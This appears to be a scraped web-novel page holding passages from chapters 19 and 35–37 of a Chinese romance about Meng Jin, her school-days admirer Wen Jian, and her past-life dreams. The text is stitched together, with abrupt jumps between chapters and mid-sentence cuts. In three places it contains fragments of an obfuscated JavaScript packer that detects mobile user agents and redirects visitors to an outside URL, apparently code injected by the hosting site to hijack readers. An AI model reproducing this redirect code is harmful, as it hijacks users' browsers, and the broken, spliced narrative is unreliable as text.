见人走远,孟瑾立刻得逞的大笑起来,还掰着指头列举了好些自己欺负他的光荣事迹;什么上周五故意把他笔记本藏起来,害他演讲找不到稿,前天故意在他书包上画口红印,害得老师以为他跟女同学早恋,还有什么故意把他的车胎扎暴,故意在老师面前告他的状等。 “哎,大班长,你这脾气是棉花糖做的吗?怎么这么对我胃口啊哈哈哈,”少女笑着走过来,突然一抬胳膊哥俩好的搭上他的肩,说:“你要是个女生,我就认你做姐姐了。” 闻见呼吸一滞,整个脖子到后背都麻掉了。 他下意识将背挺得笔直,在午后校园沙沙沙的落叶声里忽地扭头,很认真地看着她。 说:“孟瑾,我就算是女生,也不要做你的姐姐……” 话毕,转身走了。 周遭嘈杂的声音在一瞬消失。孟瑾抬头看着少年高瘦的身影迅速挤进回班大军,红着耳根钻进教室,她才后知后觉,一下明白了什么。 …… 孟瑾干涩地咽了咽喉咙,坐起身将沙发边的壁灯打开,房间蓦地被暖光覆盖,她又坐着发了会儿呆,然后起身去卫生间洗漱,一抬头,发现自己好红的一双眼。 要是一会儿回来给闻大教授看到,怕不是又要说她是红眼兔了?孟瑾扶着水池犹豫一秒,随即果断转身回了客厅,从冰箱里拿了些冰块敷眼睛。 她平时在家也是一个人,所以并不会有什么孤独的情绪,她自顾自伸手叫过旁边的福袋,跟它玩了一会,也算调整心情。 脑子里慢慢转着:这几天发生了那么多事,除了午夜时常常光顾她梦里的那位青衣女子,还有宋天宇怎么突然就从国外回来,突然就对她那么上心了? 说他浪子回头,孟瑾觉着是有些扯的,可若不是这个,那又是因为什么? 哦,对了,还有闻见,闻见今天中午送她去医院的时候面上的神色还很紧张,似乎很担心她会出事,怎么一转眼就不见人影了。方才打电话也是,他既没有在车里,也没有回家来找她。 背景音也那么 19. 第 19 章 《白月光回国,求婚闻教授?》全本免费阅读 说话间,孟瑾抬手支上自己的下巴,纤纤玉指不经意弯出好看的弧度,黑沉的眸子带着探究的意味。 窗外黑夜白雪,屋内柔光妩媚。 闻见闻言,表情微微一滞,目光不经扫过她骨节分明的手指,再往上:孟瑾身上穿一件紧身的黑色高领羊绒衫,烟灰发丝随意披在肩头,下颌精致立体,樱桃似的薄唇分外显眼。 “怎么会,手腕是我自己不小心在玻璃上磕了一下,擦破了点皮,”他停了一下,后退一步坐回沙发上,然后垂眼看着自己的腕骨,像是在回忆到底是怎么磕的,“你不说我都没注意到,果然还是你们女生比较心细。” “但是为什么会磕到玻璃?”既然把话都说开了,孟瑾也不再拐弯抹角,她看着他,话说地随意:“我记得班长说下午没回学校,没回家,也没回学校,那到底是什么地方,能让你亲自动手搬东西。” “不是搬东西磕的,”闻见说:“是喝水的时候不小心打翻了玻璃杯,然后手腕蹭到玻璃上,划到了。” 打翻了玻璃杯?孟瑾闻言眨了下眼睛,思绪回现,想起那晚在便利店,闻见一把接住她面前的咖啡杯,而没有让咖啡烫到她的事。 当时事出的突然,而且并没有威胁到他自己,闻见都能在短短刹那反应过来,迅速做出补救,怎么同样的事情今天再发生一次,闻大教授就不会躲了? 不知是凑巧还是心有灵犀,闻见看着她微微垂下,似在出神的眼眸,竟也想起了那天的事。 他抬手轻咳一声,拉回两人的思绪,不动声色转移话题:“今天下午见你进了王斌的办公室,我一个人待着没事做,就想去附近给你买包棉花糖。结果走到一半,又接到了我一位现居国外很少回来的导师的电话,他说他今天刚好回安城有点事,问我有没有时间过去坐坐,我想离的也不远,差不多你处理完伤口我就能回来,就没给你发消息。” 说着,话音一转,画重点道:“我那位导师他之前是有了解过梦境心理学的,我就把你昨天晚上说的,‘梦境空间转换’的想法跟他说了一下,导师说你这个观点很新颖,也很有研究性,他之前都没想过这一层,也没遇到过这么奇怪的梦境。还说让我问问你,能不能找个时间亲自过去跟他聊一下。” “然后我又跟他请教了一些关于梦境学的相关知识,没想到,一聊聊到这么晚,出来才发现天都黑了,我就给你打电话,想问问你有没有什么想吃的,回来的时候给你带。” 后面的话他不用说,孟瑾自己也能猜到:结果她因为睡觉将手机调成了静音,害得闻见打不进来电话,以为她出了什么事,所以他才给她打了那么多电话,说话语气也不由着急起来。 这也就是一向稳重的闻大班长,为什么大半夜会在街上跑地气喘吁吁的原因了。 孟瑾放下支着下巴的手,转而换成手指轻敲大腿的动作。 很显然,她在思考。 据孟瑾所知,闻见并不是个粗心大意的人,即便他要赶着去见导师,没有时间给她打电话,但也必会抽空给她发一句消息,嘱咐她先自己打车回。 然而事实却是,他并没有。 “还有就是手腕划伤的事,我好像还没有正面回答,”闻见默了一会,又忽地想起什么般,轻笑着补充:“因为水杯是导师打翻的,我伸手挡资料的时候就磕了一下。” 当然,还有一些细节他没说,因为觉得没必要就省略了。 话说到这里,明明事情的经过已然足够清楚,孟瑾却觉得更加摸不着头脑——她总觉得,今天的事不会这么简单。 可究竟是哪里不对,她一时倒也想不太明白。 若单单只是去见导师,请教学术问题,那为什么刚刚回来她问时,闻见不正面回答,而是看到孟瑾句句紧逼的模样,他才开始慢条斯理地……梳理? 然而闻见要说的全然不是实话,又怎会这么开诚布公地叫她去见自己的导师呢? 难道他不担心,三头对质会漏馅么? 不对……太不对了,她身边的人怎么突然都变得这么奇怪——特别是对于她来说。 蓦地,孟瑾停住了敲裤袋的动作,她的眼里闪过什么,面上不显——俗话说,不入虎穴,焉得虎子。 看来现在要想让闻大班长说实话,她就得想点办法,分散一下他的注意力了。 孟瑾不知道自己为什么这么感兴趣他手腕受伤的事,但心里还是隐隐的觉得,这件事情跟自己有撇不开的关系,她与对方虽名为夫妻,可这层关系本就是她为了摆脱唐婉清的控制拉着闻见做出的,极不明智的冲动之举。 要是因为她,再让闻见陷入什么危险的禁地,她就更不知该如何面对他,如何面对那么深明大义,又可爱可亲的闻女士了。 此时,时间已经接近午夜,侧头,她看到落地玻璃外,城市里星星点点的霓虹闪着微弱的光,周遭全部都是静悄悄的模样。 她胸口有些发闷,连带着脑子里的事情也千头万绪,可能是胳膊受了伤又一整天水米未进,体力有些支撑不住。孟瑾一手撑着沙发站起来,低着头,不疾不徐走到对面闻见跟前,大概半米的位置——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902148|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻见也跟着停下脚步,说:“我知道。” 想了想,又抬头看着她道:“我也不去图书馆。你想去哪?我跟你一起去。” 孟瑾没回答,她自顾自走去了离小区不是很远的体育公园,大冬天的,公园里没什么人。 她最后走到一个篮球架子边,靠着蹲下了,旁边有几只鸽子走来走去的晒太阳,孟瑾眼睛看着它们,顺便打开手里的随身听,放了一首歌。 闻见也不介意,因为他认识的孟瑾从来都是这么拽。 不但不介意,他心里还觉得挺美,闻大班长勾着嘴角一笑,心想:还真是又拽又帅啊。 少年想着,加快脚步追过去,又在靠近鸽子的时候慢下来。 他怕自己如果把鸽子吓跑,孟瑾肯定又不理人了。 孟瑾看鸽子看得认真,都没注意到他是什么时候过来的,反应过来时,闻见已经蹲在她面前,在跟她一起听歌了。 他手上的米白色滑雪手套也被脱下来,不知放到哪里了,或者是装进背后的背包里了。 闻见这个人,就是心太细了。 就像刚刚他看见她心情不好,就会放弃自己的图书馆计划,提议陪她去别的地方,却不会问她因为什么心情不好。 再比如他看到她的手被冻红了,也不会说以后别这样还是什么,他只会把自己的手套也脱掉,陪着她一起挨冻。 那天,他们在那个公园待了好久。 因为天气好,旁边的鸽子一直都在,没有飞走。 孟瑾出门的时候忘拿耳机了,所以随身听的歌就是外音播放的,闻见自然也能听到,她一直重复播放的那首《江南》。 不知多久,孟瑾又起身去了旁边,坐在一个秋千上,有一下没一下的轻轻晃着腿。 微风徐徐,金红的夕阳照出少年隐隐绰绰又恍惚的侧脸轮廓,闻见逆光站在高高的篮球架前面,他的身材颀长,个子很高,浅棕色的眼眸清澈而明亮,仿佛染上了余晖璀璨的光。 天边的日头慢悠悠跑到西南方最高的那个山头,然后霞光斜斜一照,闻见的影子就被拉长,一瞬间,与她脚下的影子相接,仿佛成了一体。 随身听里的男歌手一句一句,唱得专著,孟瑾随着脚下的影子抬头的刹那,恰好撞上闻见笑着看来的目光。 其实孟瑾也不懂什么叫“深深看你的脸”。 但就在这一刻,她看着夕阳余晖里那少年定定的,如星似月的眼眸,好像忽地就懂了。 ——圈圈圆圆圈圈,天天年年天天,深深看你的脸。 孟瑾又听到这句的时候,蓦地眨了眨眼睛,心里想:天天年年天天的意思,是不是无论再过多久,我抬头,都能看到你深深看来的眼眸。 可惜闻见并看不出她在想什么。 也因此,他从来都不知道,曾经年少时藏在心底不敢说出口的秘密,在某个无人知晓的瞬间,也曾变成过姑娘淡淡伤怀的心事。 闻见当然不知道。 因为他其实是个笨蛋来着。 35. 第 35 章 可如今,那个站在夕阳余晖里,校园角落里,公交车最后一排,又或者,是每个清晨、黄昏,不起眼的瞬间深深看她的少年长大了。 学会表达了。 也不会再被她轻易骗到了。 因为,他变聪明了。 孟瑾看着他,轻轻动了动眼睫,然后什么也没说,就撑着膝盖站起来。 闻见刚刚才说完表白的话,她就开始走神,走了大概两三分钟。 期间,闻见也没再说什么,他只是慢慢垂下眼去,不知道在想什么,或许跟她一样,也在回忆过去的事。 可是在他的视角里,他从来都是爱而不得,暗恋无果的那一个。 暗恋就像阳春四月时,被一夜倒春寒打落的花朵,因为从不在意,便无人会觉得可惜。 孟瑾抬头看着东边没有月亮厚厚的云层,听着耳边冷冽的风。 旁边咖啡店里的歌曲也换了,换了一首轻快的,不知道名字的dj舞曲。 “抱歉,我最近没有谈恋爱的打算。”她没有低头看闻见,她就那样微微仰着头,声音很平静地回答他说:“因为爱人太累了,我不想爱别人。” “不想爱任何人。” 闻见闻言迟疑了一下,然后点头说:“好,我知道了。” 话毕,又静静地蹲在原地,呆了两三秒,眼睛一眨不眨的,似是在消化什么难言的情绪。 孟瑾低头看他一眼,想了想,还是没有再说什么,直接提步走了。 她不爱任何人。 不想爱任何人,这是真心话。 高三下半学期,孟瑾彻底拒绝闻见后,两人便没了什么交集。当时,她每天除了雷打不动去学校听那些很无聊的,她跟本不想听,也听不懂的课。回家还要照顾因为受了太大的打击,生活自理都成了问题的唐婉清,她要给她做饭,给她洗衣服,打扫家里的卫生,还要几乎天天跟她一起跑派出所,律师事务所,法院,检察院,等各种相关部门了解孟强东的案子进展。 有时候回小区路过闻见家,她也会不自知的抬头看去,看着少年二楼卧室偶尔半开的窗户,看着他晾在阳台上雪白的衬衫或T恤,孟瑾也会暗自在心里想,还好他没有被她拉进自己一片狼藉的糟糕生活里,他的世界那么干净,那么纯粹,他未来的前途一片光明,他们本来就是完全不同的,两个世界的人。 那她又为何要回头给他回应。 光是家里的那些事情已经让她精疲力尽,自顾不暇了,她没有精力,更没有心力爱别人。 所以她不爱任何人。 后来她跟着唐婉清出国到了意大利,认识了好几个没有血缘的陌生家人,还有陌生的同学,陌生的老师,那里的一切于她而言都是陌生的。 她白天要忙着上课,忙着学习,忙着应付各种突发状况,晚上还要去找各种兼职,要在宿舍漏雨后去找便宜的房子,让自己有个安身之地,那时候她偶尔还会想,她不想爱任何人,包括唐婉清,她自己在这世上活着都很难了,所以她没有时间,也分不出精力去爱别人。 大二下学期,她在唐婉清的介绍下认识了当时和她同级,但在另外一所学校学医的宋天宇,他当时还没那么爱玩,偶尔还会学习。孟瑾有一次不知因为什么去学校找他,他穿着白大褂,三两步从实验室跑出来,抬头的时候正好迎上晚霞的光,一刹那,他整个人突然变得很高,很帅,侧脸轮廓有一点像闻见。 她眼睛一眨不眨看着他,不知过了多久,才很恍惚地眨了一下眼睫,反应过来时,大颗大颗的泪珠儿已经滑到了脸颊,宋天宇不明白情况,问她怎么了。 孟瑾抬头看着异国他乡漫天的余晖,看着西边即将沉底的落日,人来人往的大学校园,和那恍恍惚惚陌生又熟悉的侧脸,在那一瞬间,她忽然想,她什么时候才能再见到据说要去学医的闻见呢? 她为什么没有在最好的年纪伸手抱抱他? 他穿白大褂的模样应该很帅吧? 想着,又不太舒服地清了清嗓子,孟瑾这才后知后觉意识到,宋天宇不知何时把她揽进了怀里,他抱着她,很温柔地说:“你怎么了?能跟我说说吗?或者不说也行,只要你不哭就好啦。” 孟瑾不知道宋天宇知不知道她把他当成了别人,她只说:“抱紧我,别再放开了。” 宋天宇低头笑了一声,说:“好,那你做我女朋友好不好?” 孟瑾摇摇头,并不说话。 因为她知道,他不适他。 这个世界每分每秒都在经历无数的生离死别,爱与被爱,重逢与相遇,拥抱和接吻,多少真心被无情的践踏,多少自尊和尊严被踩碎又重组,世界那么巨大,人类这样渺小,到底要经历多少蜕变与成长,错过多少晚霞与时光才能抱到自己想抱的那个怀抱? 也许错过本就是人生常态,她只要不回头,一直往前走就好了。 可是想念不会骗人。 在那一瞬间,她就是很想那个人。 很想问他一句,他为什么没有像别人一样,把她紧紧的抱在怀里,留在他身边,永远不撒手。 可是宋天宇也没有抱她很久,他后来也去找了别人。 她并不是谁的唯一,她只是她自己,她不爱别人,别人自然也不爱她,不会把她当成此生挚爱。 其实很公平,孟瑾想。 她又没有为别人付出过真心,别人也不用为她付出什么。她现在有可以养活自己的工作,还算拿得出手的学历,哪怕自己的工作室开不下去,也能凭一技之长去给别人打工。 反正不管有没有人跟她一起,她都能养活自己。 她身边还有那么多不确定的事,就连陈朵朵作为她的朋友,都差点被人害的出了事。 别说是各方面情况都更为复杂,且真心喜欢她的闻见了,要是哪天她真出了事,闻见作为她的丈夫,肯定也会被连累的。 看来她要准备搬出去住了。 孟瑾抬手抹了一把不知何时滑落脸颊的泪水,慢慢平复了一下心里的波澜,却还是莫名堵得慌。 她这才后知后觉意识到,从刚刚和闻见说完话,她的身体就一直在抖,很轻,很细微的举动,但她还是感觉到了。 孟瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902149|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦躁地狠狠捏了一下手指,刚要停下抽根烟。 “孟瑾!”后头的闻见忽然唤了她一声。 深夜的街道静谧而空旷,周遭除了呼呼作响的北风,身边偶尔有汽车路过,便没有别的了。 也因此,他的声音听着就低低沉沉的,显得有些闷,就仿佛……刚刚流眼泪的人其实是他来着。 孟瑾闻言停了步子,却没回头,只是很随意地“嗯”了一声。 闻见没有立刻说话,他迈开长腿快步追过来,到她身边时才渐渐放缓脚步,斟酌着问道:“就是那什么,我能抱你一下吗?嗯……因为我被喜欢的人拒绝了,有点难过,你能借我个肩膀靠一靠吗?” 话音落下,人也刚好从旁边绕过来,到了她面前,不过半米的距离。闻见借着头顶昏黄的路灯,看着面前的姑娘亮亮的,有些湿润的眼眸——他就知道,孟瑾刚刚是在擦眼泪的。 想着,闻见勾起唇角轻轻一笑,说:“你不想抱也行,那让我自己抱你一下可以吗?” 孟瑾微微仰头回看着他,倒是没看出他有什么难过的表情,反而看到某人嘴角都勾起来了。 她站在原地考虑了半秒,就得出了对方毫无诚意地结论,随即垂眼抬步要走,却被闻见眼疾手快迅速张开胳膊,小心又自然地揽进怀里。 孟瑾一滞,完全没想到,闻大班长竟然会有这么主动的举动。 不过她想了想,倒是也没拒绝,就很随意地侧过脑袋,靠在他暖烘烘的胸口闭着眼睛,什么也没在想了。 “以前上学的时候有不会做的题,老师就会说换换思路,再想想办法,答案就在面前了。”闻见说着,抬手轻轻摸了摸她的后脑,又道:“我的意思是,我已经在想办法,换思路了,小瑾,你等等我吧,我一定能追上你的。” 话说完不给孟瑾反应,闻见已经假装很随意地牵起她的手,边往小区方向走边说:“陈朵朵应该快到了,你不是想她了吗?快回家吧,回去见到就不担心了。” 孟瑾抬头看他一眼,欲要抽回自己的手,张嘴还没说话,闻见就自顾自把头转开了。 孟瑾抿唇,当即冷了脸。 脚也不往前走了:“闻见,我说了我没有谈恋爱的打算,你是要假装听不见,还是?” ”不是,我们还是像之前那样就好了。”闻见说着侧头看过来,眼睛好红,牵着她的手也放开了:“小瑾,对不起,我不该这样逼你的,我只是想……想你给我个和他公平竞争的机会。” 他说的……是什么意思? “你要和谁公平竞争?”孟瑾看着他的眼睛。 感觉闻见下一句能说出让她很后悔还无力反驳的话。 “就,宋天宇啊,”果然他只说了个名字,声音就变得好低,感觉委屈得快哽咽了:“你说你大二就喜欢他了,那么久了……的确很难忘掉,但是……但是我还是想再争取一下。” 孟瑾:“……其实不用。” 闻见一愣,下意识问:“真的吗,你已经不喜欢他了么?” “我还以为,我是替身呢……”说着,又嘀咕了一句。 36. 第 36 章 替身文学? 虽然闻见的本意可能只是自言自语,但还是被旁边的孟瑾很不巧的听到了。 她保证,她没想偷听的。 要怪也只能怪闻大班长站得离她太近了,是距离问题。 不过话又说回来,他怎么会想着他是宋天宇的替身呢?他们俩从哪个方面看也……好吧,侧脸仿佛的确有一点像。 孟瑾无意识微微一皱眉,一时间,她也不知道怎么说了,上次在便利店,她之所以说大二就喜欢宋天宇,只是想让闻见快点走出来,不要一直画地为牢,把自己困在怀念里,因为她觉着,为她这样一个冷心薄情的人,闻见不值得。 可她没想到,真实的情况会跟她的预想背道而驰,更没想过闻见会认为他在自己心里是宋天宇的替身。 “替身文学?” 闻见:“……?” 他刚刚说话声音很大吗? 孟瑾怎么听见了? “班长,我一直以为你是个很高冷,又严肃的人。” “……”闻见一声不吭,把头转开了。 “你怎么也会有这么艺术化的想法?” 闻见:“……” 就此时此刻而言,他真的很想穿越回半分钟前,把那个情绪有点上头的自己原地暴走,然而没等他想出什么补救的话,就听孟瑾一脸平静道:“以前都没看出来,班长还挺幽默的。” 孟瑾说完,难得好脾气的又重声了一遍,自己不喜欢任何人,包括宋天宇,他也不是谁的替身。 这两天之所以对他有过“一些”合作关系之外的“举动”,只是因为,她想在他这儿套话来着。 闻见点头,往前走了两步,又忽地转过来说:“那什么,你以后要是再想问什——” 孟瑾抬头眨眨眼睛,弯起的眸子带着不加掩饰的狡黠:“为了避免产生不必要的误会,我会直接问的。” “……” 这不是一朝回到解放前了么,闻见眼里闪过一抹复杂,又想到至少现在还能跟她住在一个屋檐下,其实……已经很好了。 他不该那么贪心的。 他顿了顿,主动扯开话题:“虽然陈朵朵现在已经有了消息,但我还是搞不太懂宋天宇指使段飞骗你的目的,他们为什么这么执着要带你回意大利?甚至不惜拿陈朵朵作为要挟。” “就算他们在国外逍遥法外惯了,但安城可是国内,他们就不怕引火上身么?” 孟瑾:“唔,我也不知道,或者,他可能想来个追妻火葬场?” 闻教授这回连眼睛都没眨,直接装听不见了。 女孩说着转过来,看着他面上装作一脸平静,却因尴尬不自知微微泛红的耳尖,突然很随意地自顾自笑起来,半晌,等她笑够了,才说:“班长,你别尴尬了,我刚刚是跟你开玩笑的。” 闻见点头,清了清嗓子,没再接话了。 虽然他不懂什么叫“追妻火葬场”,但想到刚刚的“替身文学”,他就知道孟瑾又在故意调侃他。 “班长有没有听过一句俗语,知道太多的人都是活不长的。前两年在意大利的时候,我无意间听到过他们的一些秘密,之前宋天宇并不知道,也就不在乎我是否在国内了。”孟瑾严肃下来,跟他解释说:“但是前几天他去工作室找我,我可能不小心提了一句,当时他也没说什么,但这两天他们又突然很重视这个事情,如果没猜错的话,应该是卓阳在后面指使的。” “否则他不会亲自回国来找我。” 亲自回国。 闻见闻言沉吟片刻,问:“你的意思是,那位卓阳,卓先生他平时很少回国么,那会不会是有什么隐情?” 确实,卓阳那个人无论是面上表现出来的精致妥帖,还是谈吐言语间一丝不苟的杀伐果断,就连约她见个面,都要去市中心最具风雅格调的“千年楼”茶室,虽然孟瑾不了解他到底是个怎样的人,但光是从他表现出来,或者说,是他愿意让人知晓的这些细枝末节来看,卓阳都该是欣赏国内文化的。 既然如此,那他又为何要长期居住在国外?甚至孟瑾还听宋天宇无意间说过,卓阳他们家,是早在百年前的战乱年间就搬去外国的,一个长年累月游刃有余,又那么喜欢传统文化的青年才俊,怎么能异常心平气和的,长期在外吃干巴面包呢——大国底蕴,历史悠久,从古至今历经多少苦难,依旧安然耸立,自然具备着令人流连忘返的魔力。 有些人平时拼命伪装,期待有一天能衣冠楚楚、荣耀回归。背后的狐狸尾巴却又深深藏在潮湿阴暗的下水道里,不敢有片刻松懈。 不知不觉,两人已经一前一后走回了小区,过道两旁的节能灯安安静静排成一排,在脚下不规则小花砖上打出细碎的简影,孟瑾脚上穿着长筒棕色皮靴,身上是同色系的皮大衣,头顶细碎的灯光影影绰绰透过漫天飞雪洒下来,一瞬间,仿佛拉长了姑娘纤细的影。 孟瑾微微蹙眉想着什么,伸手接了两片雪,小小的,如画中一般是六角形。 她无意识放缓脚步,盯着看了一会儿,大概是雪化了,又自顾自半仰着头,微微笑着,在原地转了一圈。 后头的闻见心脏不由一跳,他脸上大概没表现出什么异样的情绪,但他的眼神却愣住了。 不夸张,也不深情,甚至可能除了他自己,谁也看不出,那一瞬,他心里无法用言语表达的震撼,对,就是震撼。 之前,他一直想不到震撼的具体概念是什么,但就在刚刚,在他看到孟瑾淡淡笑着转过来的刹那,闻见突然就想通了。 原来震撼本就不是概念,而是她的回眸,她轻轻翘起的嘴角,和无意间微皱的眉头。 是刹那,也是永恒—— 孟瑾还在专注地玩雪,余光瞥见闻见半天没往前走,似乎连眼睛都没眨,只是静静地站在原地,眼眸微垂着,不知道在想什么。 她又跟着停下,侧头跟他提:“班长,你还在等我说卓阳的事吗?我刚刚想了很久,也没想到什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902150|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有用的线索,或者就像你说的,他可能有某种不可告人的隐情。” “嗨,你们俩大半夜吹着冷风,站小区里,你看看我,我看看你,然后什么也不说,在这儿干嘛呢?还是说,这是你们年轻人之间的新型约会方式?”孟瑾话音刚落,跟他们前后脚进来,一直在后面看戏的陈朵朵就笑咪咪跑过来,挽住她的胳膊,一脸八卦地打趣。 孟瑾正偏头打量她有没有受伤,闻言一脸平静地说:“不是,我们只是合作关系……” 陈朵朵:“哦,合作关系还附赠亲脸颊啊?” 孟瑾一口冷风呛在喉咙里,差点把眼泪咳出来:“咳咳咳咳……没,没有啊。” “明明就有,他脸上都有你的口红印。” ”……”这回不光是孟瑾,就连旁边被她拿手指着的闻见都不由抬手干咳一声,主动解释说:“嗯,这是孟瑾晚上跟我告别来着。” 说完,走前面开门去了。 陈朵朵看着闻大班长自顾自走远的背影,一边撇嘴感叹说:”啧,你俩还真般配呢,这么多年了还是一样高冷,不爱理人。” 一边又转过来看着孟瑾眼下两行青灰,面容也很苍白,像是很疲惫的样子,疑惑道:“什么告别,你要去哪呀?还有,你这脸色怎么这么差?是不是天气太冷感冒了?” 孟瑾没有立刻回答,她也看着她,陈朵朵还是跟上次见面时差不多;长卫衣配马丁靴,短发,贝雷帽,看着小小一只,很可爱。 然而孟瑾还是一眼就看出来,她圆圆亮亮的眼眸暗了暗,也没在用平时那些倒装词语跟她说话——看来,今天下午发生了什么,陈朵朵是不打算跟她说的。 孟瑾知道陈朵朵是怕她担心,才装作若无其事的,故意借着打趣跟她东拉西扯。 可是今天的事不是偶然,宋家的人也不会这么轻易放过她和她的朋友,所以她必须把事情的来胧去脉都搞清楚,才能尽量避免今天这样的事再发生——他们谁都不是预言家,不能保证下次还会不会是这样有惊无险的结局。 “朵朵,你知道的,我不想你出事,”孟瑾一路沉默拉着她回到自己的房间,等陈朵朵慢悠悠跟着福袋四下看过,又笑着从闻大班长手里接过来两杯常温蜂蜜水,坐到床上,然后伸手把杯子递过来,她接过,张嘴还没说完一句,脑中的画面便蓦地一闪,开始播放另一个世界的事。 “你相信我们下辈子还会遇到吗?”一个穿粉蓝色衣裙,胖嘟嘟的小女孩眨着眼睛问她道。 她也变成了同小女孩差不多大的模样,她看到小小的自己懵懵懂懂点了一下头,说:“肯定会的,我们会再遇见的。” 话没说完,“轰隆”一声巨响就从头顶炸开,一道闪电似的白光滑过天际,接着,天地顷刻黑成一片,狂风暴雨兜头砸下,她猝不及防,伸手去拉粉蓝色衣裙的女孩,但是已经太晚了,女孩被黑暗中窜出的鬼影一刀开膛破肚,鲜红的血水伴着雨染红了地面,她被他们叉在刀上,高高举起,惨不忍睹。 37.第 37 章 小女孩全身每一处都被撕裂,刹那骨肉分离、鲜血漫天,这是人类无法承受的痛苦。 孟瑾瞬间愣在原地,身体本能开启自我保护,一时无法动弹。 脑中模糊的意识在遥远的时空夹缝里飘来荡去,身体所有知觉被巨大的冲击撕得粉碎,痛彻百骸——终于,她被一只从天而降的大手轻轻盖住了眼睛,然后抱起来。 那手的主人抱着她在倾盆大雨里跑得飞快,一路穿过茂密幽深的竹林,大雨如注,噼里啪啦拍着周遭所有,孟瑾的眼睛被他盖住,什么都看不到,突然,一股直冲天灵盖的血腥一瞬炸开,依稀换回了她的知觉。 “你是谁?“孟瑾试着开口,她听到自己的声音还是同方才与粉蓝衣裙女孩说话时一样,是小孩。 那人没有回答,也没有取下盖着她眼睛的手。少年低头看了一眼自己胸口大片暗红血迹,摇头无奈一笑,才道:“阿瑜,我……我等不到你长大了。” 话没说完,他就猛地栽倒下去,单腿跪地撑住身体,偏头喷出了一口血,怀里的孟瑾被他脱力的手丢到地上,瘫软的身体不自觉靠上身后一颗春竹,周遭光线很暗,孟瑾看不清他的脸。 只知那是一位长发及腰的白衣少年,有飞箭从后刺穿了他的身体,是心脏的位置,孟瑾抬头迎上他浅棕色的眼眸,张嘴想说什么,胸口却像被堵了千斤重的石头,压得她连气都喘不上:“你……你要死了吗?” 小女孩哽咽着问他。 “是,我要死了。”他吃力地笑了笑,眼里的光渐渐暗下来:“不过你不用怕,等我下辈子再来找你。” “我一定……一定来找你。” 少年像在许她承诺般,声音小小地,轻轻地,笑着又说了一遍。 身后有大批追兵源源不断地朝这边赶来,手中的刀剑被皎洁的月光镀上寒影。 白衣少年侧着脑袋剧烈呛咳一阵:“咳咳咳咳咳……走,快走啊!离开这里,回家去。” 刹那间,目光所及之处,是脑中同步冒出的千万条记忆信息;粉蓝衣裙的小女孩叫杨秀儿,家里自古从商,钱财无数,父母为人乐善好施,谦和有礼,却因一次开仓放米、施粥行善时被人盯上,这才引来灭门之祸……救她的少年名叫谭延,本事都城赫赫有名的世家公子,不料家道中落,双亲被害,他也因此变得沉默寡言,长居山林。 还有他说的回家,只要沿着竹林一直往前,便是他带“她”走过无数次的那条回家小路……还有很多更细致的,痕迹已经被时光冲刷看不清楚,只剩依稀模糊的碎片了。 孟瑾回过神来,看到小小的自己在拼命摇头,在大雨滂沱中摔倒又爬起,一次次踉跄着伸手去扶他,拉他的胳膊,哭着唤他的名字:“不,不要!阿延哥哥你不要死……我不想你死……我找不到回家的路,你带我回去,你带我回去好不好?” 少年听到她的声音,再次吃力的睁开眼睛,想说让她不要害怕,不要哭,然而张嘴才意识到,他的喉咙已经发不出任何声音了。他的胸口剧烈起伏,纯白的衣衫被染成暗红,接着,瞳孔蓦地一缩,又喷出了一口血,孟瑾的心也跟着猛然一缩,目光投向远处一个小小的茅草屋。 孟瑾记得那里,她在梦里见过那个茅草屋,那里面住的是……是苏家最小的女儿,还有她的母亲? 也是苏家全族被砍头那天“她”迎着滂沱大雨跑出来见到的那个小茅屋——后头的追兵顷刻到了跟前,雷电四起,圆月高挂,竹林深处雾蒙蒙一片,周遭气氛恍惚又诡异,千军万马自四面八方包抄而来,女孩小小的身躯被从天而降的马蹄一脚踩翻在地,险些就要丢了性命! 千钧一发之际,本该早已昏死过去的白衣少年猝然起身,朝她扑过来,以血肉之躯牢牢地将她护在身下,直至眼前所有的兵荒马乱尘埃落定,昏死在少年怀中的女孩被家人找到带走。 他都再没有起来…… …… 此时,时间已经到了后半夜,孟瑾走神的时间也不长,就是说着说着话突然默下声来,脸上的表情并无明显变化,在陈朵朵看来,她只是在眨眼间一下湿了眼眶,然后脸色跟着一白,人就偏头倒在了她怀里。 “小瑾!小瑾你怎么了?怎么突然就晕了?”陈朵朵忙伸手将人接住,一边迅速掐人中,一边尽量控制着自己的声音唤她的名字:“孟小瑾你快起来呀,你到底怎么了?你不要吓我,你在吓我,我……我喊你老公了!” 因为脑中仍残留着千军万马的痕迹,那血腥无比的画面让孟瑾周身还在不自觉抽搐,使不上一点劲,她十分艰难地动了动眼皮,声音断断续续地澄清:“别……别白白打扰人休息,我还没死……死了也不用通知,我是说我有会员,你直接打火葬场电话就行……” 